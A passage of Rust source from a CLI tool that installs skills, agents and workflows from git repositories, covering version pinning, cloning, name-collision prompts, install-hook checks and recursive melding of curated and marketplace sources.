let res = resolve_version(&source.name, &source.url, &vp, &template, &yanked).and_then(
|mut res| {
fit_min_mind_version(&source.name, &source.url, &dir, !is_local, &mut res)?;
Ok(res)
},
);
let res = match res {
Ok(r) => r,
Err(e) => {
cleanup(&dir);
return Err(e);
}
};
match &res.selected {
Some(rel) => Pin::Version(filled_version_pin(&vp, rel, &res)),
None => {
cleanup(&dir);
return Err(no_matching_release(&source.name, &vp, &res));
}
}
}
other => other,
};
if let Some(policy) = policy {
let identity = source.name.clone();
if !freeze && policy.forbids_unpinned(&checkout_pin) {
if !is_local {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(MindError::UnpinnedSourceForbidden { identity });
}
}
if default_release && let Pin::Version(vp) = &checkout_pin {
eprintln!(
"note: {} follows releases {} (now {}); `mind upgrade` takes compatible releases and asks before a new major",
strip_ansi(&source.name),
vp.range,
vp.resolved.as_deref().unwrap_or("?")
);
}
if checkout_pin != Pin::DefaultBranch {
source.pin = checkout_pin.clone();
let target = clone_dir_checked(paths, &source)?;
if target.exists() {
std::fs::remove_dir_all(&target).map_err(|e| MindError::io(&target, e))?;
}
if let Some(parent) = target.parent() {
crate::paths::mkdir_p(parent)?;
}
if let Err(e) = git::clone_at(&source.url, &target, &checkout_pin) {
let _ = std::fs::remove_dir_all(&target);
let e = if top_level {
let ssh = (!source.is_local()).then(|| source.ssh_url());
handle_top_level_clone_err(e, ssh, &target, out)
} else {
e
};
return Err(e);
}
dir = target;
mindfile = MindToml::load(&dir)?;
source.description = mindfile
.as_ref()
.and_then(|m| m.source.description.clone())
.map(|d| strip_ansi(&d));
}
let linked_default = is_local && checkout_pin == Pin::DefaultBranch && !freeze;
let commit = if linked_default {
git::head_commit(&source.url, &dir).ok()
} else {
Some(git::head_commit(&source.url, &dir)?)
};
let final_pin = if freeze {
let sha = commit.clone().expect("a freeze reads a concrete commit");
let ref_pin = Pin::Ref(sha);
if is_local && checkout_pin == Pin::DefaultBranch {
source.pin = ref_pin.clone();
let target = clone_dir_checked(paths, &source)?;
if target.exists() {
std::fs::remove_dir_all(&target).map_err(|e| MindError::io(&target, e))?;
}
if let Some(parent) = target.parent() {
crate::paths::mkdir_p(parent)?;
}
if let Err(e) = git::clone_at(&source.url, &target, &ref_pin) {
let _ = std::fs::remove_dir_all(&target);
return Err(e);
}
dir = target;
mindfile = MindToml::load(&dir)?;
source.description = mindfile
.as_ref()
.and_then(|m| m.source.description.clone())
.map(|d| strip_ansi(&d));
}
ref_pin
} else {
checkout_pin
};
source.pin = final_pin;
source.commit = commit;
if let Some(required) = crate::mindfile::unmet_min_version(mindfile.as_ref()) {
let required = required.to_string();
let interactive = !yes && !json_mode() && crate::hook::is_tty();
if accept_newer_mind || interactive {
eprintln!("{}", catalog::newer_mind_warning(&source.name, &required));
catalog::first_version_warning(&source.name);
}
let proceed = accept_newer_mind
|| (interactive && confirm(&format!("continue melding {} anyway?", source.name))?);
if !proceed {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(MindError::IncompatibleVersion {
source_name: source.name.clone(),
required,
running: env!("CARGO_PKG_VERSION").to_string(),
});
}
}
let is_authoritative = mindfile.as_ref().is_some_and(|m| m.is_authoritative());
let declares_scan_layout = mindfile.as_ref().is_some_and(|m| m.declares_scan_layout());
let consumer_scan_layout = !roots.is_empty() || flat_skills;
if !out.json && (is_authoritative || declares_scan_layout || consumer_scan_layout) {
let has_plugin = plugin_manifest::find_plugin_manifest(&dir).is_some();
let has_marketplace = plugin_manifest::find_marketplace_manifest(&dir).is_some();
if has_plugin || has_marketplace {
if is_authoritative {
println!(
"note: {} uses an authoritative mind.toml; its .claude-plugin/ manifest is ignored",
source.name
);
} else {
let via = if declares_scan_layout {
"mind.toml [source].roots/flat-skills"
} else {
"--root/--flat-skills"
};
println!(
"note: {} discovers its own items by convention ({via}); \
the .claude-plugin/ manifest's plugin components are ignored",
source.name
);
}
}
}
if !roots.is_empty() {
if is_authoritative {
if !out.json {
println!(
"note: {} uses an authoritative mind.toml; --root is ignored",
source.name
);
}
} else {
source.roots = Some(roots);
}
} else if apply_curated && curated.roots.is_some() {
source.roots = curated.roots.clone();
}
if flat_skills {
if is_authoritative {
if !out.json {
println!(
"note: {} uses an authoritative mind.toml; --flat-skills is ignored",
source.name
);
}
} else {
source.flat_skills = true;
}
} else if apply_curated && curated.flat_skills {
source.flat_skills = true;
}
if !add_roots.is_empty() {
source.add_roots = Some(add_roots);
} else if apply_curated && curated.add_roots.is_some() {
source.add_roots = curated.add_roots.clone();
}
let mut items = match catalog::scan(paths, &single(&source)) {
Ok(items) => items,
Err(e) => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(e);
}
};
if top_level
&& source.alias.is_none()
&& crate::hook::is_tty()
&& let Some(declared) = mindfile.as_ref().and_then(|m| m.source.prefix.clone())
&& !declared.is_empty()
{
let preview = if items.is_empty() {
String::new()
} else {
let names: Vec<String> = items.iter().map(|it| it.display_key()).collect();
format!("\n items would install as: {}", names.join(", "))
};
let answer = prompt_line(&format!(
"{} suggests the prefix '{declared}'.{preview}\n use it? [Y]es / type a different prefix / [n]o prefix: ",
source.name
))?;
let chosen = crate::namespace::prefix_choice(&answer);
if let Some(c) = &chosen {
crate::namespace::validate_prefix(c)?;
}
if chosen != source.alias {
source.alias = chosen;
items = match catalog::scan(paths, &single(&source)) {
Ok(items) => items,
Err(e) => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(e);
}
};
}
}
if top_level {
let manifest = crate::manifest::Manifest::load(paths)?;
let mut conflicts: Vec<(String, String, String)> = Vec::new();
for entry in manifest.items.values() {
if entry.kind == crate::error::ItemKind::Agent {
continue;
}
if entry.source == source.name {
continue;
}
let eff_name = entry.name.as_str();
if items
.iter()
.any(|it| it.kind == entry.kind && it.effective_name() == eff_name)
{
conflicts.push((
entry.kind.as_str().to_string(),
eff_name.to_string(),
entry.source.clone(),
));
}
}
if !conflicts.is_empty() {
let suggested = suggested_namespace(&source.url);
if crate::hook::is_tty() && !yes {
let answer = prompt_line(&format!(
"name collision detected -- the following items conflict with \
already-installed items:\n{}\n\
enter a namespace prefix [{suggested}] (. to abort): ",
format_conflicts_display(&conflicts),
))?;
match parse_collision_answer(&answer, &suggested) {
CollisionAnswer::Abort => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(MindError::SkillCollision {
conflicts,
suggested,
});
}
CollisionAnswer::Prefix(chosen_str) => {
let chosen = if chosen_str.is_empty() {
None
} else {
Some(chosen_str)
};
if let Some(c) = &chosen {
crate::namespace::validate_prefix(c)?;
}
if chosen != source.alias {
source.alias = chosen;
items = match catalog::scan(paths, &single(&source)) {
Ok(items) => items,
Err(e) => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(e);
}
};
}
}
}
} else {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(MindError::SkillCollision {
conflicts,
suggested,
});
}
}
}
warn_forged_namespaces(&items); warn_unguarded_references(&items);
warn_agent_collisions(paths, &items); if !out.json {
let curates_other_sources = mindfile
.as_ref()
.and_then(|m| m.discover.as_ref())
.is_some_and(|d| !d.sources.is_empty());
let has_manifest = plugin_manifest::find_plugin_manifest(&dir).is_some()
|| plugin_manifest::find_marketplace_manifest(&dir).is_some();
if items.is_empty()
&& top_level
&& !is_authoritative
&& !curates_other_sources
&& !has_manifest
{
println!("{} melded {} (0 item(s))", out.warn(), source.name);
println!(
" no items found by convention scanning \
(skills/<name>/SKILL.md, agents/<name>.md, rules/<name>.md, \
commands/<name>.md, workflows/<name>.js, \
tools/<name>/); if your layout differs, use --root <dir>, \
--add-root <dir>, or --flat-skills"
);
} else {
println!(
"{} melded {} ({} item(s))",
out.ok(),
source.name,
items.len()
);
}
if source.as_alias.as_deref().is_some_and(|a| !a.is_empty()) {
let base = source.base_identity();
let existing: Vec<&str> = registry
.sources
.iter()
.filter(|s| s.base_identity() == base)
.map(|s| s.name.as_str())
.collect();
if !existing.is_empty() {
let (subject, verb) = if existing.len() == 1 {
(format!("the existing {}", existing[0]), "remains")
} else {
(
format!("the existing instances {}", existing.join(", ")),
"remain",
)
};
println!(
"note: registered a new instance {}; {subject} {verb}",
source.name
);
}
}
}
if !is_authoritative && !out.json && plugin_manifest::find_plugin_manifest(&dir).is_some() {
let skipped_comps = catalog::plugin_skipped_components(&dir);
if let Some(summary) = skipped_comps.summary() {
println!("note: {summary}");
}
}
let hook_env = profiles.hook_env(
&source.name,
mindfile
.as_ref()
.filter(|_| source.item_path.is_none())
.and_then(|m| m.profiles.as_ref()),
)?;
match run_install_hooks(
&mut source,
&dir,
&mindfile,
&toml_path,
install_hook.as_deref(),
dangerously_skip_hook_check,
false,
curated_hooks,
&hook_env,
) {
Ok(HookOutcome::Proceed) => {}
Ok(HookOutcome::Abort) => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
println!("aborted; nothing installed");
return Ok(0);
}
Err(e) => {
if !source.is_linked() {
let _ = std::fs::remove_dir_all(&dir);
}
return Err(e);
}
}
if !is_authoritative && source.item_path.is_none() {
if let Some(plugin_path) = plugin_manifest::find_plugin_manifest(&dir) {
source.origin = Some(ManifestOrigin::ClaudePlugin);
if let Ok(pm) = plugin_manifest::load_plugin_manifest(&plugin_path) {
source.plugin_version = pm.version;
if source.description.is_none() {
source.description = pm.description.map(|d| strip_ansi(&d));
}
}
} else if plugin_manifest::find_marketplace_manifest(&dir).is_some() {
source.origin = Some(ManifestOrigin::ClaudeMarketplace);
}
}
let super_source_name = source.name.clone();
let is_link = source.item_path.is_some();
registry.sources.push(source);
let mut added = 1;
let mut nested_clone_failures = 0usize;
if let Some(nested) = mindfile
.as_ref()
.filter(|_| !is_link) .and_then(|m| m.discover.as_ref())
.map(|d| &d.sources)
{
for entry in nested {
entry.validate(&toml_path)?;
if let Some(missing) = unresolvable_managed_local_entry(paths, &entry.source) {
eprintln!(
"warning: skipping nested source '{}' curated by '{super_source_name}': it \
resolves inside mind's own sources tree ({}) where nothing was cloned, so \
it is a relative path that only meant something in the curator's own \
working tree; meld that source by an absolute path or a URL instead",
missing.display(),
paths.sources_dir().display()
);
skipped.push(SkippedEntry {
source: entry.source.clone(),
reason: "unresolvable_local_path".into(),
});
continue;
}
let entry_kind = entry.item_kind(&toml_path)?;
let curated = curated_config_for(entry, &toml_path)?;
match meld_recursive(
paths,
registry,
&entry.source,
entry.effective_alias(), vec![], vec![], false, PinRequest::None, false,
visited,
policy,
None, dangerously_skip_hook_check,
prefer_ssh, false, Some(curated),
skipped,
entry_kind,
Some(super_source_name.clone()),
&mut MeldProfiles::Curated(entry), accept_newer_mind, ) {
Ok(n) => added += n,
Err(e) if git::is_auth_failure(&e) => {
let entry_name = parse_spec_quiet(&entry.source)
.map(|mut s| {
s.apply_alias(entry.effective_alias());
s.name
})
.unwrap_or_else(|_| entry.source.clone());
if registry.find(&entry_name).is_some() {
return Err(e);
}
let Some(cfg) = &entry.on_auth_failure else {
return Err(e);
};
for line in auth_failure_lines(&entry_name, cfg) {
eprintln!("{line}");
}
if cfg.action == AuthFailureAction::Skip {
skipped.push(SkippedEntry {
source: entry_name,
reason: "auth_failure".into(),
});
continue;
}
return Err(e);
}
Err(e) => {
let entry_name = parse_spec_quiet(&entry.source)
.map(|mut s| {
s.apply_alias(entry.effective_alias());
s.name
})
.unwrap_or_else(|_| entry.source.clone());
if registry.find(&entry_name).is_some() {
return Err(e);
}
for line in clone_failure_lines(&entry_name, &e) {
eprintln!("{line}");
}
skipped.push(SkippedEntry {
source: entry_name,
reason: "clone_failure".into(),
});
nested_clone_failures += 1;
continue;
}
}
if let Some(refs) = &entry.install_items
&& !refs.is_empty()
&& let Ok(mut spec) = parse_spec_quiet(&entry.source)
&& {
spec.apply_alias(entry.effective_alias());
true
}
&& let Some(nested_src) = registry.find(&spec.name)
{
let nested_items = catalog::scan(paths, &single(nested_src))?;
for item_ref in refs {
let parsed = crate::resolve::parse_item_ref(item_ref).map_err(|_| {
MindError::BadReference {
item: format!("install-items in '{super_source_name}'"),
referent: item_ref.clone(),
reason: crate::error::BadRefReason::NoMatch,
in_source: spec.name.clone(),
}
})?;
let found = nested_items.iter().any(|it| {
parsed.kind.is_none_or(|k| it.kind == k) && it.name == parsed.name
});
if !found {
return Err(MindError::BadReference {
item: format!("install-items in '{super_source_name}'"),
referent: item_ref.clone(),
reason: crate::error::BadRefReason::NoMatch,
in_source: spec.name.clone(),
});
}
}
}
}
}
if !is_authoritative
&& !is_link && let Some(marketplace_path) = plugin_manifest::find_marketplace_manifest(&dir)
{
let manifest = plugin_manifest::load_marketplace_manifest(&marketplace_path)?;
for entry in manifest.into_entries() {
if matches!(entry.source, plugin_manifest::PluginSource::InRepo { .. }) {
continue; }
if let plugin_manifest::PluginSource::InRepo { ref path } = entry.source
&& !plugin_manifest::is_safe_manifest_path(path)
{
return Err(MindError::MindToml {
path: marketplace_path.clone(),
msg: format!("marketplace.json: in-repo plugin path {:?} is unsafe", path),
});
}
let repo_spec = marketplace_entry_spec(&entry, &dir);
let entry_name = entry.name.clone();
let entry_version = entry.version;
let entry_description = entry.description;
match meld_recursive(
paths,
registry,
&repo_spec,
Some(entry_name.clone()),
vec![],
vec![],
false,
PinRequest::None, false, visited,
policy,
None, dangerously_skip_hook_check,
prefer_ssh,
false, None, skipped,
None, Some(super_source_name.clone()),
&mut MeldProfiles::None,
accept_newer_mind, ) {
Ok(n) => {
added += n;
if let Ok(mut sub_spec) = parse_spec_quiet(&repo_spec)
&& {
sub_spec.apply_alias(Some(entry_name.clone()));
true
}
&& let Some(sub) = registry
.sources
.iter_mut()
.find(|s| s.name == sub_spec.name)
{
sub.origin = Some(ManifestOrigin::ClaudeMarketplace);
if entry_version.is_some() {
sub.plugin_version = entry_version;
}
if entry_description.is_some() {
sub.description = entry_description.map(|d| strip_ansi(&d));
}
}
}
Err(e) if git::is_auth_failure(&e) => {
return Err(e);
}
Err(e) => {
let sub_name = parse_spec_quiet(&repo_spec)
.map(|mut s| {
s.apply_alias(Some(entry_name.clone()));
s.name
})
.unwrap_or_else(|_| entry_name.clone());
if registry.find(&sub_name).is_some() {
return Err(e);
}
for line in clone_failure_lines(&sub_name, &e) {
eprintln!("{line}");
}
skipped.push(SkippedEntry {
source: sub_name,
reason: "clone_failure".into(),
});
nested_clone_failures += 1;
continue;
}
}
}
}
if nested_clone_failures > 0
&& added == 1
&& let Some(primary) = registry.find(&super_source_name)
&& scan_one(paths, primary)?.is_empty()
{
return Err(MindError::CuratorAllNestedFailed {
super_source: super_source_name.to_string(),
});
}
Ok(added)
}
use crate::sanitize::{display_path, strip_ansi};
fn effective_policy_path() -> Option<String> {
#[cfg(target_os = "macos")]
const SYSTEM_FIXED: &str = "/Library/Application Support/mind/policy.toml";
#[cfg(all(not(target_os = "macos"), not(target_os = "windows")))]
const SYSTEM_FIXED: &str = "/etc/mind/policy.toml";
#[cfg(not(target_os = "windows"))]
{
let sys = std::path::Path::new(SYSTEM_FIXED);
if sys.exists() {
return Some(SYSTEM_FIXED.to_string());
}
}
#[cfg(target_os = "windows")]
{
let base = std::env::var_os("PROGRAMDATA")
.map(std::path::PathBuf::from)
.unwrap_or_else(|| std::path::PathBuf::from(r"C:\ProgramData"));
let sys = base.join("mind").join("policy.toml");
if sys.exists() {
return Some(sys.display().to_string());
}
}
let env_path = std::env::var_os("MIND_POLICY_FILE").map(std::path::PathBuf::from)?;
env_path.exists().then(|| env_path.display().to_string())
}
fn suggested_namespace(url: &str) -> String {
let base = url.split('/').next_back().unwrap_or(url);
base.strip_suffix(".git").unwrap_or(base).to_string()
}
fn format_conflicts_display(conflicts: &[(String, String, String)]) -> String {
conflicts
.iter()
.map(|(k, n, s)| {
let safe_n = strip_ansi(n);
let safe_s = strip_ansi(s);
format!(" {k}:{safe_n} (already installed from '{safe_s}')")
})
.collect::<Vec<_>>()
.join("\n")
}
enum CollisionAnswer {
Prefix(String),
Abort,
}
fn parse_collision_answer(answer: &str, suggested: &str) -> CollisionAnswer {
let trimmed = answer.trim();
if trimmed.is_empty() {
CollisionAnswer::Prefix(suggested.to_string())
} else if trimmed == "." {
CollisionAnswer::Abort
} else {
CollisionAnswer::Prefix(trimmed.to_string())
}
}
fn origin_label(origin: Option<ManifestOrigin>) -> String {
match origin {
None => String::new(),
Some(ManifestOrigin::ClaudePlugin) => " origin:claude-plugin".to_string(),
Some(ManifestOrigin::ClaudeMarketplace) => " origin:claude-marketplace".to_string(),
}
}
fn marketplace_entry_spec(
entry: &plugin_manifest::MarketplaceEntry,
clone_dir: &std::path::Path,
) -> String {
match &entry.source {
plugin_manifest::PluginSource::External { spec } => spec.clone(),
plugin_manifest::PluginSource::InRepo { path } => {
clone_dir.join(path).to_string_lossy().into_owned()
}
}
}
fn auth_failure_lines(entry_name: &str, cfg: &crate::mindfile::OnAuthFailure) -> Vec<String> {
let is_skip = cfg.action == AuthFailureAction::Skip;
let safe_name = strip_ansi(entry_name);
let mut lines = vec![format!(
"unable to meld source {} due to authentication failure{}",
safe_name,
if is_skip { " (skipping)" } else { "" }
)];
if let Some(msg) = &cfg.message {
let safe_msg = strip_ansi(msg);
lines.push(safe_msg);
}
lines
}
fn clone_failure_lines(entry_name: &str, err: &MindError) -> Vec<String> {
let safe_name = strip_ansi(entry_name);
let safe_err = strip_ansi(&err.to_string());
vec![format!(
" warning: skipping '{safe_name}': clone failed ({safe_err}), source unavailable"
)]
}
fn handle_top_level_clone_err(
e: MindError,
ssh_url: Option<String>,
store_path: &std::path::Path,
out: crate::render::OutputCtx,
) -> MindError {
if out.json {
return match e {
MindError::Git {
url,
status,
stderr,
..
} => MindError::Git {
url,
args: vec!["clone".to_string()],
status,
stderr,
},
other => other,
};
}
if let MindError::Git {
ref stderr,
ref args,
..
} = e
{
if !stderr.is_empty() {
eprintln!("{}", strip_ansi(stderr));
}
if out.verbose {
eprintln!(" command: git {}", args.join(" "));
eprintln!(" store: {}", store_path.display());
}
}
if git::is_auth_failure(&e) {
if let Some(ref ssh) = ssh_url {
for line in git::auth_hint_lines(ssh) {
eprintln!("{line}");
}
}
} else if git::is_proxy_failure(&e) {
for line in git::proxy_hint_lines() {
eprintln!("{line}");
}
}
match e {
MindError::Git { url, status, .. } => MindError::Git {
url,
args: vec!["clone".to_string()],
status,
stderr: "(git output above)".to_string(),
},
other => other,
}
}
fn warn_forged_namespaces<'a>(items: impl IntoIterator<Item = &'a CatalogItem>) {
for item in items {
if !item.forges_namespace() {
continue;
}
eprintln!(
"warning: {} '{}' in source '{}' has no namespace prefix, but its bare name contains \
':', so it installs under a name a PREFIXED source would produce; check the source \
column in `mind recall` before trusting it",
item.kind.as_str(),
item.display_name(),
crate::sanitize::strip_ansi(&item.source)
);
}
}
fn warn_unguarded_references(items: &[CatalogItem]) {
if !crate::render::ctx().verbose {
return;
}
if !items.iter().any(|it| it.prefix.is_some()) {
return;
}
let bare =
crate::namespace::bare_agent_names(items.iter().map(|it| (it.kind, it.name.as_str())));
let siblings: std::collections::HashSet<String> = items
.iter()
.map(|it| it.name.clone())
.filter(|name| !bare.contains(name))
.collect();
for item in items {
let mut refs: Vec<String> = Vec::new();
for file in crate::review::item_files(item) {
if !is_regular_file_nofollow(&file) {
continue;
}
let Ok(content) = std::fs::read_to_string(&file) else {
continue; };
for r in crate::namespace::unguarded_refs(&content, &siblings) {
if r != item.name && !refs.contains(&r) {
refs.push(r);
}
}
}
if !refs.is_empty() {
let refs_display: Vec<String> = refs
.iter()
.map(|r| crate::sanitize::strip_ansi(r))
.collect();
eprintln!(
"warning: {} references sibling(s) in prose: {}; prefixing may break them at runtime (use {{{{ns:name}}}})",
item.display_key(),
refs_display.join(", ")
);
}
}
}
fn warn_agent_collisions(paths: &Paths, items: &[CatalogItem]) {
let manifest = match Manifest::load(paths) {
Ok(m) => m,
Err(_) => return, };
let agent_homes = match paths.agent_homes() {
Ok(h) => h,
Err(_) => return,
};
for item in items {
if item.kind != ItemKind::Agent {
continue;
}
let harness_name = item
.agent_harness_name()
.unwrap_or_else(|| item.name.clone());
let link_rel = item
.link_rel
.clone()
.or_else(|| paths.default_link_rel(ItemKind::Agent, &harness_name));
let Some(rel) = link_rel else { continue };
let planned: Vec<std::path::PathBuf> = agent_homes
.iter()
.filter(|h| h.admits(ItemKind::Agent))
.map(|h| h.path.join(&rel))
.collect();
for entry in manifest.items.values() {
if entry.kind != ItemKind::Agent {
continue;
}
if entry.source == item.source && entry.bare_name == item.name {
continue;
}
let collides = entry.links.iter().any(|link| {
planned
.iter()
.any(|p| p.as_path() == std::path::Path::new(link.as_str()))
});
if collides {
let quoted_key = crate::error::shell_quote(&entry.display_key());
eprintln!(
"warning: agent '{harness_name}' from '{}' would collide with the installed \
agent from '{}' at agents/{harness_name}.md -- run `mind forget {quoted_key}` to \
remove it first",
item.source, entry.source,
);
}
}
}
}
fn agent_collision(
paths: &Paths,
manifest: &Manifest,
target: &CatalogItem,
) -> Result<Option<MindError>> {
if target.kind != ItemKind::Agent {
return Ok(None);
}
let harness_name = target
.agent_harness_name()
.unwrap_or_else(|| target.name.clone());
let Some(rel) = target
.link_rel
.clone()
.or_else(|| paths.default_link_rel(ItemKind::Agent, &harness_name))
else {
return Ok(None);
};
let planned: Vec<std::path::PathBuf> = paths
.agent_homes()?
.iter()
.filter(|h| h.admits(ItemKind::Agent))
.map(|h| h.path.join(&rel))
.collect();
for entry in manifest.items.values() {
if entry.kind != ItemKind::Agent {
continue;
}
if entry.source == target.source && entry.bare_name == target.name {
continue;
}
let collides = entry.links.iter().any(|link| {
planned
.iter()
.any(|p| p.as_path() == std::path::Path::new(link.as_str()))
});
if collides {
return Ok(Some(MindError::AgentCollision {
name: harness_name,
existing: entry.source.clone(),
incoming: target.source.clone(),
}));
}
}
Ok(None)
}
fn warn_workflows(paths: &Paths, manifest: &Manifest, installed_keys: &[String]) {
let touches_workflow = installed_keys.iter().any(|key| {
manifest
.items
.get(key.as_str())
.is_some_and(|entry| entry.kind == ItemKind::Workflow)
});
if !touches_workflow {
return;
}
let mut reads: std::collections::HashMap<&str, crate::workflow_check::WorkflowRead> =
std::collections::HashMap::new();
let mut claimed: Vec<(String, String)> = Vec::new();
for entry in manifest.items.values() {
if entry.kind != ItemKind::Workflow {
continue;
}
let read = crate::workflow_check::read(&paths.mind_home.join(&entry.store));
if let Some(name) = crate::workflow_check::harness_name(&read.meta) {
claimed.push((name, entry.key().as_str().to_string()));
}
reads.insert(entry.name.as_str(), read);
}
claimed.extend(unmanaged_workflow_claims(paths, manifest));
let groups = crate::workflow_check::claim_groups(&claimed);
let touched: std::collections::HashSet<&str> =
installed_keys.iter().map(String::as_str).collect();
for key in installed_keys {
let Some(entry) = manifest.items.get(key.as_str()) else {
continue;
};
if entry.kind != ItemKind::Workflow {
continue;
}
let Some(read) = reads.get(entry.name.as_str()) else {
continue;
};
if let Some(notice) = crate::workflow_check::cap_notice(read) {
eprintln!(
"warning: {}: {notice} Installed anyway.",
entry.display_key()
);
}
for reason in crate::workflow_check::skip_reasons(read) {
eprintln!(
"warning: {}: the harness will not load this workflow: {reason}; installed anyway",
entry.display_key()
);
}
let harness = crate::workflow_check::harness_name(&read.meta);
if let Some(msg) =
crate::workflow_check::divergence(&entry.name, &entry.bare_name, harness.as_deref())
{
eprintln!("warning: {}: {msg}", entry.display_key());
}
}
for (name, claimants) in groups {
let Some(subject) = claimants.iter().find(|key| touched.contains(key.as_str())) else {
continue;
};
let others: Vec<String> = claimants
.iter()
.filter(|key| *key != subject)
.map(|key| crate::sanitize::strip_ansi(key))
.collect();
if others.is_empty() {
continue;
}
eprintln!(
"warning: {}: {}",
crate::sanitize::strip_ansi(subject),
crate::workflow_check::collision(&name, &others)
);
}
}
struct WorkflowDetail {
harness_name: Option<String>,
findings: Vec<String>,
when_to_use: Option<String>,
}
fn workflow_detail(
paths: &Paths,
manifest: &Manifest,
found: &crate::manifest::InstalledItem,
) -> WorkflowDetail {
let store = paths.mind_home.join(&found.store);
let read = crate::workflow_check::read(&store);
let harness_name = crate::workflow_check::harness_name(&read.meta);
let mut findings: Vec<String> = Vec::new();
if let Some(notice) = crate::workflow_check::cap_notice(&read) {
findings.push(notice);
}
if store_copy_was_read(&store, &read) {
for reason in crate::workflow_check::skip_reasons(&read) {
findings.push(format!("the harness will not load this workflow: {reason}"));
}
}
if let Some(msg) =
crate::workflow_check::divergence(&found.name, &found.bare_name, harness_name.as_deref())
{
findings.push(msg);
}
if let Some(harness) = &harness_name {
let mut others: Vec<String> = manifest
.items
.values()
.filter(|e| e.kind == ItemKind::Workflow && e.name != found.name)
.filter(|e| {
let other = crate::workflow_check::read(&paths.mind_home.join(&e.store));
crate::workflow_check::harness_name(&other.meta).as_deref()
== Some(harness.as_str())
})
.map(|e| e.display_key())
.collect();
others.extend(
unmanaged_workflow_claims(paths, manifest)
.into_iter()
.filter(|(name, _)| name == harness)
.map(|(_, key)| key),
);
if !others.is_empty() {
findings.push(crate::workflow_check::collision(harness, &others));
}
}
WorkflowDetail {
harness_name,
findings,
when_to_use: read.meta.when_to_use.clone(),
}
}
fn store_copy_was_read(
store: &std::path::Path,
read: &crate::workflow_check::WorkflowRead,
) -> bool {
if read.over_mind_cap.is_some() || !read.meta.is_empty() {
return true;
}
is_regular_file_nofollow(store) && crate::error::read_capped_metadata(store).is_ok()
}
fn unmanaged_workflow_claims(paths: &Paths, manifest: &Manifest) -> Vec<(String, String)> {
let was_quiet = crate::render::scan_quiet();
crate::render::set_scan_quiet(true);
let scanned = crate::unmanaged::scan(paths, manifest);
crate::render::set_scan_quiet(was_quiet);
let Ok(items) = scanned else {
return Vec::new();
};
items
.iter()
.filter(|u| u.kind == ItemKind::Workflow)
.filter_map(|u| {
let file = u.paths.first()?;
if !std::fs::metadata(file).is_ok_and(|m| m.is_file()) {
return None;
}
let read = crate::workflow_check::read(file);
let name = crate::workflow_check::harness_name(&read.meta)?;
Some((name, format!("{} (unmanaged)", u.display_key())))
})
.collect()
}
fn installed_when_to_use(paths: &Paths, m: &crate::manifest::InstalledItem) -> Option<String> {
if m.kind != ItemKind::Workflow {
return None;
}
crate::workflow_check::read(&paths.mind_home.join(&m.store))
.meta
.when_to_use
.as_deref()
.map(crate::sanitize::strip_ansi)
}
fn insert_when_to_use(row: &mut serde_json::Value, when: Option<String>) {
if let (Some(when), Some(obj)) = (when, row.as_object_mut()) {
obj.insert("when_to_use".to_string(), serde_json::Value::String(when));
}
}
fn save_and_warn_workflows(paths: &Paths, manifest: &Manifest, applied_keys: &[String]) {
if let Err(se) = manifest.save(paths) {
warn_manifest_save_also_failed(&se);
}
warn_workflows(paths, manifest, applied_keys);
}
fn siblings_of(items: &[CatalogItem], source: &str) -> Vec<CatalogItem> {
items
.iter()
.filter(|it| it.source == source)
.cloned()
.collect()
}
fn link_add_root(item_path: &str, kind: ItemKind) -> String {
let item = std::path::Path::new(item_path);
let root = match item.parent() {
Some(parent) if parent.file_name().is_some_and(|n| n == kind.dir()) => parent.parent(),
other => other,
};
let rendered = root
.map(|p| p.to_string_lossy().into_owned())
.unwrap_or_default();
if rendered.is_empty() {
".".to_string()
} else {
rendered
}
}
pub fn parse_link_kind(
kind: Option<crate::cli::LinkKindArg>,
spec: &str,
) -> Result<Option<ItemKind>> {
let Some(kind) = kind else {
return Ok(None);
};
let parsed = kind.to_kind();
if parse_spec_quiet(spec).is_ok_and(|s| s.item_path.is_none()) {
return Err(MindError::BadKindFlag {
value: parsed.as_str().to_string(),
reason: format!(
"'{}' is not an item link, and --kind applies to one only \
(an item link is '<repo-url>/blob/<ref>/<file>.md' or \
'<repo-url>/tree/<ref>/<skill-dir>')",
strip_ansi(spec)
),
});
}
Ok(Some(parsed))
}
fn link_is_conventionally_placed(source: &crate::source::Source, kind: ItemKind) -> bool {
let Some(item_path) = source.item_path.as_deref() else {
return true;
};
if !catalog::is_file_link(item_path) {
return true;
}
std::path::Path::new(item_path)
.parent()
.and_then(|p| p.file_name())
.is_some_and(|n| n == kind.dir())
}
fn link_meld_remedy(
identity: &str,
url: &str,
item_name: &str,
kind: ItemKind,
add_root: Option<&str>,
) -> String {
let identity = crate::error::shell_quote(&glob::Pattern::escape(&strip_ansi(identity)));
let url = crate::error::shell_quote(&strip_ansi(url));
let pattern = crate::error::shell_quote(&format!(
"{}:{}",
kind.as_str(),
glob::Pattern::escape(&strip_ansi(item_name))
));
let add_root = add_root
.map(|r| format!(" --add-root {}", crate::error::shell_quote(&strip_ansi(r))))
.unwrap_or_default();
format!("mind unmeld {identity} --yes && mind meld {url}{add_root} --learn {pattern} --yes")
}
fn plain_meld_reaches_link(paths: &Paths, source: &crate::source::Source, kind: ItemKind) -> bool {
let Some(item_path) = source.item_path.as_deref() else {
return true;
};
let clone_dir = source.clone_dir(paths);
let whole = crate::source::Source {
item_path: None,
item_kind: None,
curated_by: None,
..source.clone()
};
let mut items: Vec<CatalogItem> = Vec::new();
if catalog::scan_source_at(&clone_dir, &whole, &mut items).is_err() {
return false;
}
let canon = |p: &std::path::Path| p.canonicalize().unwrap_or_else(|_| p.to_path_buf());
let target = canon(&clone_dir.join(item_path));
items
.iter()
.any(|it| it.kind == kind && canon(&it.path) == target)
}
fn requires_resolves_alone(entry: &str, item: &CatalogItem) -> bool {
let Ok(r) = crate::resolve::parse_item_ref(entry) else {
return true; };
if r.source.is_some() {
return true; }
r.name == item.name && r.kind.is_none_or(|k| k == item.kind)
}
fn sibling_token_resolves_alone(r: &crate::namespace::SiblingRef, item: &CatalogItem) -> bool {
r.name == item.name && r.kind.is_none_or(|k| k == item.kind)
}
